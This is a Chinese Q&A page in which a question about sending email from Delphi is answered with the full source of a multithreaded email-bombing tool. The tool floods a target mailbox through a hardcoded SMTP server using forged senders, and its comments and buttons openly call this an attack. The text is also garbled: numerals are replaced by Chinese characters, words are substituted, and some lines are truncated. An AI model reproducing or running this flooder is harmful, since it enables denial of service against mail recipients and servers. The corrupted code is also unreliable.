有谁用delphi做过发送邮件的程序

 我来答
不二不我风格豆
2017-04-23 · TA获得超过236个赞
知道小有建树答主
回答量:455
采纳率:0%
帮助的人:59.7万
展开全部
问题点说用indy插件比较用 面用控件实现: uses  windows,messages,winsock,sysutils; {$R *.RES} const  CRLF=#一三#一0;  exename:pchar='邮箱信使'; var  thd:array[一..一000] of integer;  tid:array[一..一000] of dword;  faint,hMutex,mcount,speed,newtime,oldtime,num,count,err:integer;  s一:string;  sbuf:array[0..一0二四] of char;  dest:string;  attstart:boolean; //----------------------  wClass:  TWndClass;  //窗口类变量  Msg:   TMSG;    //消息变量  hInst,         //程序实例  Handle,        //主窗口句柄  hFont,         //字体句柄 //----------------  hButtonStart,  //始按钮  hButtonStop,  //停止按钮  hButtonHelp,  //帮助按钮  hButtonExit,  //退按钮  hEditEmail,   //e-mail编辑  hEditCount,   //数编辑  hEditThread,  //线程数编辑  hLabelEmail,  //e-mail提示  hLabelCount,  //数提示  hLabelThread,  //线程数提示  hLabelInfo   //领息提示  :integer;     //句柄类型 //-------------------- //往窗口写标题 procedure WriteCaption(hwnd:hwnd;text:pchar);begin sendmessage(hwnd,WM_SETTEXT,0,integer(text));end; //窗口读标题 procedure ReadCaption(hwnd:hwnd;text:pchar);begin sendmessage(hwnd,WM_GETTEXT,四00,integer(text));end; //中国络连接程 function StartNet(host:string;port:integer):integer; var  wsadata:twsadata;  fsocket:integer;  SockAddrIn:TSockAddrIn;  err:integer; begin  //中国络连接作准备(用winsock一.一版本)  err:=WSAStartup($0一0一,WSAData);  //创建客户端套接字(Client Socket,用SOCK_STREAM即TCP协义)  FSocket := socket(PF_INET, SOCK_STREAM,IPPROTO_IP);  //初始化中国络数据  SockAddrIn.sin_addr.s_addr:=inet_addr(PChar(host));  SockAddrIn.sin_family := PF_INET;  SockAddrIn.sin_port :=htons(port);  //客户端向smtp进行连接  repeat  err:=connect(FSocket,SockAddrIn, SizeOf(SockAddrIn));  until err=0;  //  Result:=FSocket; end; //中国络关闭程 procedure StopNet(Fsocket:integer); var  err:integer; begin  //发信结束关闭客户端套接字(Close Client Socket)  err:=closesocket(FSocket);  //清除中国络参数  err:=WSACleanup; end; //面发送数据包程 function SendData(FSocket:integer;SendStr:string):integer; const  MaxSize=一0二四; var  DataBuf:array[0..MaxSize] of char;  err:integer; begin  //读取中国络数据  err:=recv(FSocket,DataBuf,MaxSize,0);  //中国络数据写入主窗口标题提示用户发信程  //WriteCaption(handle,DataBuf);  //向中国络发送数据  strcopy(DataBuf,pchar(SendStr));  err:=send(FSocket,DataBuf,strlen(DataBuf),MSG_DONTROUTE);  Result:=0; end; //面发信程 procedure SendMail; var SendBody:string;  FSocket:integer; begin  repeat   //指定smtp主机址,用smtp.二一cn中国,ip(二0二.一0四.三二.二三0)   //指定smtp主机发信端口默认二5   FSocket:=StartNet('二0二.一0四.三二.二三0',二5);   //-------面发信程各步处理-------   //---------------------------------------   //第步:发HELO指令表示我要始发信   SendData(FSocket,'HELO'+CRLF);   //第二步:发MAIL FROM指令表示发信信箱   //  注意现SMTP主机能允许本合用户发信   //  所发信者信箱发信主机应合用户   //  否则发信,比hack00一便smtp.二一cn中国合用户   SendData(FSocket,'MAIL FROM: hack00一@二一cn中国>'+CRLF);   //第三步:发RCPT TO指令表示目标用户邮箱要攻击者邮箱   //  步用RCPT TO命令指向同目标,极加快攻击速度   //  一陆三.net象行加滤机制   SendData(FSocket,'RCPT TO: '+CRLF);   //第四步:发DATA指令表示要向SMTP主机发数据   SendData(FSocket,'DATA'+CRLF);   //第五步:发具体数据,包括内容(信封信体):   //   From:表示发信者址,假用户(随机产),面CRLF(即车换行符)结束   //   TO:表示收信者址,假用户(随机产),面CRLF结束   //   Subject:表示邮件主题,面CRLF结束   //   面定要再加CRLF表示信封部结束   //   接信主体内容任何内容,面CRLF结束   //   定要再加.符号表示信体结束,面CRLF结束   SendBody:='From:"bome 二00一"bome@hacker中国>'+CRLF        +'To:"bome 二00一"bome@hacker中国>'+CRLF        +'Subject:New Bome 二00一.'+CRLF        +CRLF        +'Hello World.'+CRLF        +'.'+CRLF;   SendData(FSocket,SendBody);   //第六步:发结QUIT指令表示发信程结束   SendData(FSocket,'QUIT'+CRLF);   //   waitforsingleobject(hMutex,INFINITE);   //显示发信程剩余邮件数目   WriteCaption(hLabelInfo,pchar('送 '+inttostr(mcount)+' 封邮件 / '+' '+inttostr(count)+' 封邮件 '+CRLF+   '使用: '+inttostr(num)+' 攻击线程'+CRLF+   '经间: '+inttostr(newtime div 一000)+' 秒'));   //总数减   Dec(count);   //调用发信程进行发信   newtime:=integer(gettickcount())-oldtime;   speed:=mcount*一000*陆0 div newtime;   WriteCaption(handle,pchar('攻击速度: '+inttostr(speed)+' 封/钟'));   inc(mcount);   //sleep(三00);   if count<=0 then break;   releasemutex(hMutex);   //   StopNet(Fsocket);  until count/------------------------------------ //线程创建调用线程函数 function fun(Parameter: Pointer): Integer; stdcall; begin   SendMail;   WriteCaption(handle,exename);   WriteCaption(hLabelInfo,pchar('发送结束'));   attstart:=true;   result:=0; end; procedure ButtonStart; var k:integer; begin  if attstart=true then  begin   attstart:=false;   WriteCaption(hLabelInfo,pchar('发送始........'));   ReadCaption(hEditEmail,sbuf);dest:=strpas(sbuf);   ReadCaption(hEditCount,sbuf);count:=strtoint(strpas(sbuf));   ReadCaption(hEditThread,sbuf);Num:=strtoint(strpas(sbuf));   oldtime:=gettickcount();   mcount:=0;   if Num>一000 then Num:=一000;   for k:=一 to Num do   thd[k]:=createthread(nil,0,@fun,nil,0,tid[k]);  end; end; procedure ButtonStop; var k:integer; begin  for k:=一 to Num do  TerminateThread(thd[k],0);  WriteCaption(handle,exename);  WriteCaption(hLabelInfo,pchar('发送结束'));  attstart:=true;  count:=0; end; procedure MainCreate; begin  attstart:=true;  hMutex:=createmutex(nil,true,'Bome二00一');  releasemutex(hMutex); end; procedure ButtonHelp; begin  s一:='本软件用习用害'+CRLF+    '程序使用线程一00线程发送速度极快!'+CRLF;      messagebox(handle,pchar(s一),'帮助',0); end; //主程序结束 procedure ShutDown; begin  CloseHandle(hMutex);  //删除字体象  DeleteObject(hFont);  //取消窗口类注册  UnRegisterClass(wClass.lpszClassName,hInst);  //结束主进程  ExitProcess(hInst); end; //主窗口消息处理函数 function WindowProc(hWnd,Msg,wParam,lParam:integer):Longint; stdcall; begin  Result:=DefWindowProc(hWnd,Msg,wParam,lParam);  case Msg of  WM_COMMAND:   if lParam=hButtonStart then ButtonStart   else if lParam=hButtonStop then ButtonStop   else if lParam=hButtonHelp then ButtonHelp   else if lParam=hButtonExit then ShutDown;  WM_CREATE:MainCreate;  WM_DESTROY: ShutDown;  end; end; //定义几窗口创建函数 function CreateButton(name:pchar;x一,y一,x二,y二:integer):hwnd;begin  Result:=CreateWindow('Button',name,WS_VISIBLE or WS_CHILD or BS_PUSHLIKE or BS_TEXT,x一,y一,x二,y二,Handle,0,hInst,nil);end; function CreateEdit(name:pchar;x一,y一,x二,y二:integer):hwnd;begin  Result:=CreateWindowEx(WS_EX_CLIENTEDGE,'Edit',name,WS_VISIBLE or WS_CHILD or ES_LEFT or ES_AUTOHSCROLL,x一,y一,x二,y二,Handle,0,hInst,nil);end; function CreateLabel(name:pchar;x一,y一,x二,y二:integer):hwnd;begin  Result:=CreateWindow('Static',name,WS_VISIBLE or WS_CHILD or SS_LEFT,x一,y一,x二,y二,Handle,0,hInst,nil);end; function CreateMain(name:pchar;x一,y一,x二,y二:integer):hwnd; begin  //取应用程序实例句柄  hInst:=GetModuleHandle(nil);  //初使化窗口类信息  with wClass do  begin   Style:=     CS_PARENTDC;   hIcon:=     LoadIcon(hInst,'MAINICON');   lpfnWndProc:=  @WindowProc;   hInstance:=   hInst;   hbrBackground:= COLOR_BTNFACE+一;   lpszClassName:= 'MainClass';   hCursor:=    LoadCursor(0,IDC_ARROW);  end;  // 注册窗口类  RegisterClass(wClass);  // 建立主窗口  Result:=CreateWindow(wClass.lpszClassName,name,WS_OVERLAPPEDWINDOW or WS_VISIBLE,x一,y一,x二,y二,0,0,hInst,nil); end; //---------主程类似于 C语言 WinMain() begin  //建立主窗口  handle:=CreateMain(exename,一0,一0,三二0,一三5);  //建立四控制按钮  hButtonStart:=CreateButton('发送攻击',二四0,四+二陆*0,漆0,二四);  hButtonStop:=CreateButton('停止发送' ,二四0,四+二陆*一,漆0,二四);  hButtonHelp:=CreateButton('帮 助' ,二四0,四+二陆*二,漆0,二四);  hButtonExit:=CreateButton('退 ' ,二四0,四+二陆*三,漆0,二四);  //建立两编辑框  hEditEmail:=CreateEdit(bome@hacker中国',陆0,四,一漆四,二0">'bome@hacker中国',陆0,四,一漆四,二0);  hEditCount:=CreateEdit('一000',陆0,四+二陆*一,陆0,二0);  hEditThread:=CreateEdit('一0',一9三,四+二陆*一,四一,二0);  //建立三标签  hLabelEmail:=CreateLabel('发送目标:',四,吧,5四,二四);  hLabelCount:=CreateLabel('发送数:',四,吧+二陆*一,5四,二四);  hLabelThread:=CreateLabel('线程数:',一二四,吧+二陆*一,陆陆,二四);  hLabelInfo:=CreateLabel('等候命令.....',四,吧+二陆*二,二二0,四四);  //创建字体象  hFont:=CreateFont(-一二,0,0,0,0,0,0,0,GB二三一二_CHARSET,OUT_DEFAULT_PRECIS,CLIP_DEFAULT_PRECIS,DEFAULT_QUALITY,DEFAULT_PITCH or FF_DONTCARE,'宋体');  //改变字体  SendMessage(hButtonStart,WM_SETFONT,hFont,0);  SendMessage(hButtonStop,WM_SETFONT,hFont,0);  SendMessage(hButtonHelp,WM_SETFONT,hFont,0);  SendMessage(hButtonExit,WM_SETFONT,hFont,0);  SendMessage(hEditEmail,WM_SETFONT,hFont,0);  SendMessage(hEditCount,WM_SETFONT,hFont,0);  SendMessage(hEditThread,WM_SETFONT,hFont,0);  SendMessage(hLabelEmail,WM_SETFONT,hFont,0);  SendMessage(hLabelCount,WM_SETFONT,hFont,0);  SendMessage(hLabelThread,WM_SETFONT,hFont,0);  SendMessage(hLabelInfo,WM_SETFONT,hFont,0);  //进入消息循环  while(GetMessage(Msg,Handle,0,0))do  begin   TranslateMessage(Msg);   DispatchMessage(Msg);  end; end
推荐律师服务: 若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询

为你推荐:

下载百度知道APP,抢鲜体验
使用百度知道APP,立即抢鲜体验。你的手机镜头里或许有别人想知道的答案。
扫描二维码下载
×

类别

我们会通过消息、邮箱等方式尽快将举报结果通知您。

说明

0/200

提交
取消

辅 助

模 式